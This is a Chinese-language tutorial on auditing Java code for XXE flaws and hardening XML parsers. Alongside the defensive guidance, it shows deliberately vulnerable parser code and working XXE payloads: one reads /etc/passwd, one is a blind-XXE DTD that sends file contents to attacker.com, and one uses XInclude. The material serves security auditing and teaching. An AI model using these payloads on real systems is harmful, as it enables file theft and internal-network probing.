Java代码审计实战:XXE漏洞原理、挖掘与安全加固指南

📅 2026/7/4 15:41:35 👁️ 阅读次数 📝 编程学习
Java代码审计实战:XXE漏洞原理、挖掘与安全加固指南

1. 项目概述:从一次线上告警说起

那天下午,我正在review一个刚上线的Java服务监控面板,突然一个“CPU使用率异常飙升”的告警弹了出来。排查日志,发现大量请求卡在了一个XML解析接口上。直觉告诉我,这不仅仅是性能问题。我拉取了其中一个请求的原始报文,看到里面夹杂着奇怪的<!ENTITY>声明和指向内网地址的SYSTEM标识符时,心里“咯噔”一下——典型的XXE(XML External Entity)攻击尝试。虽然这次因为服务部署在容器内,攻击者没能读取到宿主机文件,但攻击流量本身已经造成了服务阻塞。这件事让我意识到,在微服务和API接口大行其道的今天,XML作为一种古老但仍在广泛使用的数据交换格式(尤其在金融、政务、传统企业服务中),其安全风险被严重低估了。很多开发者,甚至是一些中级Java工程师,对XXE漏洞的认知还停留在“听说过”的层面,更别提在代码审计中系统性地发现和修复它了。

Java代码审计中的XXE漏洞挖掘,远不止是搜索DocumentBuilderSAXParser那么简单。它是一场关于XML解析器默认行为、第三方库特性、框架封装层和业务场景理解的综合较量。一个配置不当的解析器,就像给攻击者留下了一扇可以窥探服务器内部、发起内部网络请求甚至导致服务拒绝的后门。本文将从一个实战审计者的视角,彻底拆解Java中的XXE漏洞。我不会只给你几个漏洞代码片段,而是带你深入理解:为什么这些代码会出问题?在不同的技术栈(Spring Boot、老旧SSH项目等)和不同的XML处理库(DOM4J、JDOM、SAX等)下,漏洞的表现形式和挖掘路径有何不同?更重要的是,如何构建一套可落地的审计 Checklist 和修复方案,让你不仅能找到漏洞,更能理解其根源并彻底堵上它。

2. XXE漏洞核心原理与Java中的“脆弱点”解剖

在深入代码之前,我们必须把XXE的原理吃透,这样才能在审计时做到“心中有图,眼里有码”。XXE,全称XML External Entity Injection,即XML外部实体注入。它的本质是滥用XML规范中“外部实体”的特性

2.1 为什么XML容易“受伤”?

XML设计之初就是为了结构化存储和传输数据,并且希望具备强大的扩展和引用能力。为此,它引入了DTD(文档类型定义)。在DTD中,你可以定义“实体”(Entity),它相当于一个可复用的数据单元。实体分为内部实体和外部实体。

<!ENTITY 内部实体名 "这是一个值"> <!-- 内部实体 --> <!ENTITY 外部实体名 SYSTEM "file:///etc/passwd"> <!-- 外部实体,关键风险点! -->

当XML解析器处理文档时,它会用实体的真实内容替换实体引用(如&外部实体名;)。问题就出在外部实体SYSTEM关键字上。这个关键字告诉解析器:“去这个URI(可以是file://http://ftp://等协议)读取内容,并把它当作实体的值。”

Java解析器的“原罪”:出于历史兼容性和功能完整性的考虑,绝大多数Java XML解析器在默认情况下是启用外部实体解析功能的。这意味着,一段恶意XML,只要被默认配置的解析器处理,就可能触发文件读取、内网探测(SSRF)等风险。

2.2 Java中常见的XML解析入口点

审计时,我们首先要找到所有“吃进”XML数据的地方。根据我的经验,主要分为以下几类:

1. 直接接收原始输入流:这是最明显也最危险的一类。常见于自定义的报文处理、第三方接口对接或一些老旧系统中。

// 从HttpServletRequest直接获取输入流 public void parseXml(HttpServletRequest request) { InputStream is = request.getInputStream(); // ... 将is传递给解析器 }

审计要点:全局搜索getInputStream(),并追踪其流向,看最终是否交给了XML解析器。

2. 接收字符串或字节数组:XML内容可能以Stringbyte[]的形式从消息队列、数据库或前端传入。

@PostMapping("/api/order") public String createOrder(@RequestBody String xmlBody) { // Spring Boot中常见 // 处理xmlBody }

审计要点:关注@RequestBody String@RequestParam String(当content-type为text/xml时)等注解,以及方法参数为String且变量名包含xmldatacontent等关键词的情况。

3. 通过框架封装的绑定机制:在一些MVC框架中,如Spring MVC配合JAXB,可以直接将XML反序列化为Java对象。

@PostMapping(value = "/user", consumes = "application/xml") public User createUser(@RequestBody User user) { // User是一个JAXB注解的类 return user; }

审计要点:这种情况看似安全,因为不直接操作解析器。但安全与否完全取决于底层框架或你配置的JAXB实现(如MOXy)的默认设置。需要审计框架的全局配置或自定义的HttpMessageConverter

4. 处理文件上传:如果系统允许上传XML文件,并在服务端进行解析处理(例如,导入配置、批量数据),这也是一个入口。

public String handleFileUpload(@RequestParam("file") MultipartFile file) { String content = new String(file.getBytes()); // 解析content }

2.3 高危的XML解析器与默认风险等级

找到入口后,就要看它用了什么解析器。下面这个表格是我根据多年审计经验总结的“风险速查表”,帮你快速评估不同解析器的默认危险程度。

解析器类/工厂所属库/API默认是否解析外部实体风险等级常见使用场景
DocumentBuilderFactory/DocumentBuilderJAXP (Java原生)高危标准DOM解析,使用广泛。
SAXParserFactory/SAXParserJAXP (Java原生)高危基于事件的流式解析,适合大文件。
XMLReaderFactory/XMLReaderSAX (原生)高危更底层的SAX解析接口。
SAXReaderDOM4J高危DOM4J库的主力解析器,非常流行。
SAXBuilderJDOM高危JDOM库的解析器。
DigesterApache Commons Digester高危将XML映射到Java对象的工具,常出现在老旧Struts项目中。
XMLInputFactory/XMLStreamReaderStAX (JSR-173)否 (Java 1.7+)中低危流式拉模型解析。但需注意版本!Java 6及以下默认开启。
TransformerFactoryXSLT转换取决于实现中危用于XML转换,如果处理用户可控的XSLT,风险极高。
SchemaFactoryXML Schema验证通常否低危主要用于验证,但处理外部引用时也可能有问题。

核心提示:这张表里“高危”的解析器,在未做任何安全配置的情况下,几乎100%存在XXE漏洞。审计时,发现它们的身影就要立刻亮起红灯。

3. 深度代码审计实战:从特征搜索到漏洞确认

理论清楚了,我们进入实战环节。审计就像破案,需要线索(特征)和推理(数据流分析)。

3.1 第一步:全局特征搜索(快速定位嫌疑代码)

使用IDE的全局搜索(或grep、CodeQL等工具),搜索以下关键词:

  1. 类名/工厂名

    • DocumentBuilderFactory
    • SAXParserFactory
    • XMLReader
    • SAXReader(需导入org.dom4j.io.SAXReader)
    • SAXBuilder(需导入org.jdom2.input.SAXBuilder)
    • Digester(需导入org.apache.commons.digester3.Digester)
    • XMLInputFactory
    • TransformerFactory
    • SchemaFactory
  2. 方法名

    • .parse((这是最关键的)
    • .newDocumentBuilder()
    • .newSAXParser()
    • .newInstance()
    • .build(
    • .read(
    • .unmarshal((JAXB)
  3. 配置相关(寻找安全设置):

    • setFeature
    • setXIncludeAware
    • setExpandEntityReferences
    • ACCESS_EXTERNAL_DTD
    • ACCESS_EXTERNAL_STYLESHEET

搜索技巧:不要只看定义,要顺着调用链往下追。比如搜到DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();,就要找到这个dbf最后在哪里调用了dbf.newDocumentBuilder().parse(...)

3.2 第二步:数据流分析与漏洞确认(判断是否真的可攻击)

找到疑似代码后,最关键的一步是判断解析器的输入是否用户可控。一个解析器即使不安全,如果它只解析一个硬编码的、固定的XML字符串,那也没有风险。

案例分析:一个真实的漏洞片段

假设我们搜索到如下代码:

// UserController.java @PostMapping("/import") public String importUserData(@RequestBody String xmlData) { try { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); // 漏洞点:用户直接控制的xmlData被传入解析 Document doc = builder.parse(new InputSource(new StringReader(xmlData))); // ... 后续处理doc return "success"; } catch (Exception e) { return "error"; } }

审计推理过程:

  1. 找到解析器DocumentBuilderFactory+DocumentBuilder+parse(),高危组合。
  2. 分析输入源parse方法的参数是new InputSource(new StringReader(xmlData)),而xmlData来自@RequestBody String。这意味着HTTP请求的Body内容完全由攻击者控制。
  3. 检查安全配置:在newDocumentBuilder()之前,没有对factory调用任何setFeature来禁用外部实体。漏洞确认!

更隐蔽的情况:输入可能经过多层传递或封装。

public class XmlService { public Document parseXml(String data) { // 业务层方法 // ... 使用不安全的解析器 return doc; } } @Controller public class MyController { @Autowired private XmlService xmlService; @RequestMapping("/process") public void process(HttpServletRequest request) { String rawXml = extractXmlFromRequest(request); // 从请求中提取XML xmlService.parseXml(rawXml); // 间接传入 } }

审计要点:需要做跨方法/跨类的数据流跟踪。从最外部的用户输入点(如HttpServletRequest@RequestBody)开始,手动或借助工具追踪这个rawXml变量,看它是否最终流入了不安全的parseXml方法。这是审计中最耗时但也最见功力的部分。

3.3 第三步:针对不同解析器的POC构造

确认漏洞存在后,为了验证危害,我们需要构造攻击Payload(POC)。不同解析器对DTD声明的支持程度略有差异,但基础Payload通用。

基础攻击Payload(读取/etc/passwd):

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>

如果解析后的内容会返回给前端(回显XXE),那么&xxe;处就会显示文件内容。

无回显XXE(Blind XXE)攻击Payload:当文件内容不回显时,可以利用参数实体和外部DTD,将数据带出到攻击者控制的服务器。

<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> <root></root>

http://attacker.com/evil.dtd上放置:

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/exfil?data=%file;'>"> %eval; %exfil;

这个Payload会尝试将文件内容通过HTTP请求参数发送给攻击者。

审计中的验证:在测试环境,可以尝试使用一个简单的Payload读取一个已知的、无害的文件(如file:///etc/hostname),或者向一个测试HTTP服务器发起请求,以验证漏洞是否真实可利用。

4. 不只是禁用外部实体:全面加固方案与修复指南

找到漏洞只是第一步,如何正确、彻底地修复它,防止在代码其他位置或未来开发中再次引入,才是安全工作的价值所在。

4.1 黄金法则:禁用DTD与外部实体

对于大多数业务场景,我们根本不需要DTD功能。因此,最彻底、最推荐的方式是完全禁用DTD

1. 针对DocumentBuilderFactory/SAXParserFactory/XMLReader

// 这是最安全的配置组合 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // 如果使用XInclude,也需要禁用它(绝大多数情况用不到) factory.setXIncludeAware(false); factory.setExpandEntityReferences(false);

重要提示setFeature的顺序有时很重要,建议先设置disallow-doctype-decl为true。如果设置为true,后面的external-entities设置可能被忽略,但为了兼容性,最好都加上。

2. 针对 DOM4J 的SAXReaderDOM4J底层使用SAX解析器,需要通过其内部的XMLReader来设置属性。

SAXReader reader = new SAXReader(); // 关键:获取底层的XMLReader并设置安全属性 reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

3. 针对 JDOM 的SAXBuilderJDOM2的SAXBuilder提供了更便捷的设置方式。

SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); builder.setFeature("http://xml.org/sax/features/external-general-entities", false); builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // 或者使用setExpandEntities方法(推荐) builder.setExpandEntities(false); // JDOM2专用,效果等同于禁用外部实体

4. 针对 StAX (XMLInputFactory):Java 1.7及以上版本,StAX默认是相对安全的,但显式设置更稳妥。

XMLInputFactory factory = XMLInputFactory.newInstance(); // 禁用DTD支持 factory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // 如果必须支持DTD,则禁用外部实体 // factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

5. 针对 JAXB (Unmarshaller):JAXB底层可能使用多种解析器,安全配置依赖于其使用的SAXSourceDOMSource。最安全的方式是传递一个已经过安全配置的SAXParserDocumentBuilder

SAXParserFactory safeFactory = SAXParserFactory.newInstance(); // ... 设置安全feature ... SAXParser safeParser = safeFactory.newSAXParser(); XMLReader safeReader = safeParser.getXMLReader(); SAXSource source = new SAXSource(safeReader, new InputSource(new StringReader(xmlString))); JAXBContext context = JAXBContext.newInstance(User.class); Unmarshaller unmarshaller = context.createUnmarshaller(); User user = (User) unmarshaller.unmarshal(source); // 使用安全的Source

4.2 白名单过滤:当无法禁用DTD时

在一些极其特殊的遗留系统或标准合规场景中,可能无法完全禁用DTD。此时,必须采用白名单策略来限制外部实体可访问的协议和路径。

1. 自定义EntityResolver你可以实现一个EntityResolver接口,在解析器尝试加载外部实体时进行拦截。

public class SafeEntityResolver implements EntityResolver { @Override public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException { // 记录或告警:有尝试加载外部实体 logger.warn("Blocked external entity: publicId=" + publicId + ", systemId=" + systemId); // 返回一个空的InputSource,阻止外部实体加载 return new InputSource(new StringReader("")); // 或者直接抛出异常 // throw new SAXException("External entity resolution is not allowed: " + systemId); } } // 使用时 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); builder.setEntityResolver(new SafeEntityResolver()); // 设置自定义解析器

2. 使用安全框架/库:对于新项目,可以考虑直接使用已经做好安全封装的库,例如OWASP Java Encoder项目提供的安全XML解析工具,或者Apache Commons Configuration 2.x版本中的XMLConfiguration(默认安全)。

4.3 框架层面的全局配置(以Spring Boot为例)

在现代Spring Boot项目中,我们更应该在框架层面进行统一防护,而不是在每个解析的地方写重复代码。

1. 配置自定义的HttpMessageConverter如果你使用@RequestBody直接绑定XML到对象,可以替换默认的转换器。

@Configuration public class WebSecurityConfig extends WebMvcConfigurerAdapter { @Override public void configureMessageConverters(List<HttpMessageConverter<?>> converters) { // 移除可能导致问题的默认XML转换器,如Jaxb2RootElementHttpMessageConverter // converters.removeIf(converter -> ...); // 添加一个安全的MarshallingHttpMessageConverter MarshallingHttpMessageConverter xmlConverter = new MarshallingHttpMessageConverter(); Jaxb2Marshaller marshaller = new Jaxb2Marshaller(); marshaller.setPackagesToScan("com.yourpackage.model"); // 关键:为Marshaller设置安全的Unmarshaller属性 Map<String, Object> props = new HashMap<>(); props.put("jaxb2.unmarshaller.factoryClass", "com.yourpackage.config.SafeJAXBContextFactory"); marshaller.setUnmarshallerProperties(props); xmlConverter.setMarshaller(marshaller); xmlConverter.setUnmarshaller(marshaller); converters.add(xmlConverter); } }

你需要实现一个SafeJAXBContextFactory,在其中创建并配置安全的Unmarshaller

2. 使用Filter进行全局输入过滤(不推荐作为主要手段):在极端情况下,可以考虑使用Servlet Filter对请求内容进行拦截,如果检测到请求体包含<!DOCTYPE<!ENTITY等关键字,则直接拒绝请求。但这种方法误报率高,且可能被各种编码绕过,只能作为辅助的纵深防御措施。

5. 审计清单、工具与高级场景剖析

5.1 Java XXE代码审计自查清单

在每次代码评审或安全扫描时,可以对照这份清单进行检查:

  • [ ]入口点排查:是否所有XML解析的入口(HTTP接口、文件上传、消息队列消费、数据库读取)都已识别?
  • [ ]解析器识别:每个入口点使用的XML解析器类型是否明确?(参考第2.3节表格)
  • [ ]安全配置检查:对于每个高危解析器实例,在其parse()方法调用前,是否设置了至少disallow-doctype-decl或等效的安全Feature?
  • [ ]数据流确认:传递给解析器的数据源,是否完全可信?是否可能包含用户可控的输入?
  • [ ]依赖库检查:项目pom.xmlgradle文件中,是否引入了dom4jjdomxercesxalan等库?它们的版本是否存在已知的XXE安全绕过漏洞?(例如,某些旧版本即使设置了Feature也可能被绕过)
  • [ ]框架配置检查:如果使用Spring、JAX-RS等框架,其全局的XML消息转换器是否已做安全配置?
  • [ ]XInclude与XSLT:代码中是否使用了setXIncludeAware(true)TransformerFactory处理用户可控的XSLT?这两者也是XXE的常见变种。
  • [ ]日志与监控:是否在EntityResolver或关键位置添加了日志,用于监控是否有人尝试进行XXE攻击?

5.2 辅助审计工具推荐

  • 静态代码分析工具(SAST)
    • SonarQube:内置的Java规则可以检测到不安全的XML解析器使用。
    • Find Security Bugs:一款非常优秀的SpotBugs/FindBugs插件,其规则XXE_DOCUMENTXXE_XMLREADER等能精准定位漏洞代码。
    • Checkmarx、Fortify:商业SAST工具,具有更强大的数据流分析能力,能发现跨方法的漏洞链。
  • 动态应用测试工具(DAST)
    • Burp Suite Professional:使用ScannerIntruder模块,可以自动或手动探测XXE漏洞。其Collaborator功能对于检测Blind XXE尤其有效。
    • OWASP ZAP:开源DAST工具,同样具备主动和被动扫描XXE的能力。
  • 交互式应用测试工具(IAST):如Contrast、Hdiv等,在应用运行时进行检测,能结合上下文提供更准确的漏洞报告。

5.3 高级场景与绕过技巧剖析(防守方视角)

作为审计和防守方,我们必须知道攻击者可能会玩什么花样。

1. 协议封装与绕过: 攻击者可能不使用file://,而使用netdoc://jar://php://filter/(如果后端支持PHP包装器)等协议。因此,单纯的黑名单过滤协议是无效的,必须采用白名单或完全禁用的策略。

2. UTF-16/BOM绕过: 有些XML解析器会根据文件开头的字节顺序标记(BOM)或编码声明自动检测编码。攻击者可能提交UTF-16编码的XML,以绕过一些基于字符串匹配的WAF或过滤器。防御方需要确保在解析前,编码是明确且受控的。

3. 依赖库版本绕过: 历史上,某些XML库的特定版本存在安全绕过。例如,在旧版本的Apache POI(处理Office文档)中,即使按照标准方式禁用了外部实体,也可能通过其他方式被利用。防御措施:保持所有XML处理库(xercesImpl, xalan, dom4j, jdom等)更新到最新稳定版。

4. XInclude攻击: 即使禁用了外部实体,如果开启了XInclude支持(factory.setXIncludeAware(true)),攻击者可能利用<xi:include>标签引入外部资源。

<root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </root>

修复:除非业务必需,否则永远不要设置setXIncludeAware(true)

5. SVG文件中的XXE: SVG本质上是XML。如果应用允许上传SVG图片并在服务端使用XML解析器处理(例如读取尺寸、元数据),就可能触发XXE。审计时需关注图片处理模块,特别是使用Batik等SVG库的代码。

6. 实战案例:审计一个Spring Boot REST API

假设我们有一个简单的用户信息导入API。

漏洞代码(简化版):

@RestController @RequestMapping("/api/v1") public class UserImportController { @PostMapping(value = "/import", consumes = MediaType.APPLICATION_XML_VALUE) public ResponseEntity<String> importUsers(@RequestBody String xmlData) { try { // 使用DOM4J解析(常见于老代码迁移) SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(xmlData)); // 高危!无任何安全配置 Element root = document.getRootElement(); List<Element> userElements = root.elements("user"); // ... 解析用户数据并存入数据库 return ResponseEntity.ok("导入成功,共" + userElements.size() + "条记录"); } catch (DocumentException e) { return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("XML格式错误"); } } }

审计与修复过程:

  1. 定位:搜索SAXReader,找到UserImportController
  2. 分析:输入为@RequestBody String xmlData,完全用户可控。解析器SAXReader默认开启外部实体解析。
  3. 验证:构造POC发送请求,确认可以读取服务器文件或发起SSRF请求。
  4. 修复:修改代码,在reader.read()之前配置安全属性。
@PostMapping(value = "/import", consumes = MediaType.APPLICATION_XML_VALUE) public ResponseEntity<String> importUsers(@RequestBody String xmlData) { try { SAXReader reader = new SAXReader(); // ==== 安全加固开始 ==== // 禁用DTD reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用外部通用实体 reader.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用外部参数实体 reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // 或者使用DOM4J内部方法(如果版本支持) // reader.setIncludeExternalDTDDeclarations(false); // reader.setIncludeInternalDTDDeclarations(false); // ==== 安全加固结束 ==== Document document = reader.read(new StringReader(xmlData)); // ... 后续处理 return ResponseEntity.ok("导入成功"); } catch (Exception e) { // 捕获更通用的异常 logger.error("用户导入失败", e); return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("数据处理失败"); } }
  1. 升级与优化
    • 考虑将XML解析逻辑抽取到一个独立的、经过安全加固的XmlParserUtil工具类中,避免代码重复。
    • 在项目父pom中,强制指定dom4j使用较新的、已修复已知漏洞的版本(如1.6.1以上)。
    • 在全局异常处理器中,避免将详细的解析错误信息(如包含系统路径)返回给前端。

7. 总结与个人心得

Java XXE漏洞的审计,本质上是一场关于“默认配置”与“安全意识”的战争。XML解析器危险的默认行为是历史遗留问题,而我们的工作就是通过代码审计,将这些默认的“后门”一一关上。

我个人的几点深刻体会:

第一,不要相信任何默认值。安全编码的第一原则就是“显式声明,白名单思维”。无论是XML解析器、JSON解析器(如Fastjson的autoType)还是任何数据处理组件,使用前必须查阅其安全文档,明确配置其安全属性。

第二,数据流跟踪是审计的核心技能。漏洞往往藏在层层封装和间接调用之下。培养自己阅读代码、在脑海中构建数据流向图的能力,比单纯依赖自动化工具更重要。工具能发现“明显的”漏洞,而高手能发现“隐晦的”漏洞。

第三,修复方案要放在上下文中评估。直接禁用DTD是最彻底的,但一定要和业务开发人员确认,是否真的有合法场景需要用到DTD(例如,处理来自某个古老合作伙伴的、带有自定义实体的XML报文)。如果有,那么白名单过滤和严格的输入验证方案就更合适。

第四,依赖管理是安全的基石。很多时候,漏洞不在你自己的代码里,而在你引入的某个二方库、三方库的某个古老版本中。定期使用OWASP Dependency-CheckGitHub Dependabot扫描项目依赖,及时升级存在已知漏洞的组件,特别是XML处理相关的库。

最后,XXE虽然是一个“老”漏洞,但在Web服务、微服务API、移动端后端接口无处不在的今天,它远未消失。每一次代码提交,每一次第三方库的引入,都可能带来新的风险点。将XXE审计作为代码Review的固定检查项,将其修复方案作为团队的基础开发规范,才是长治久安之道。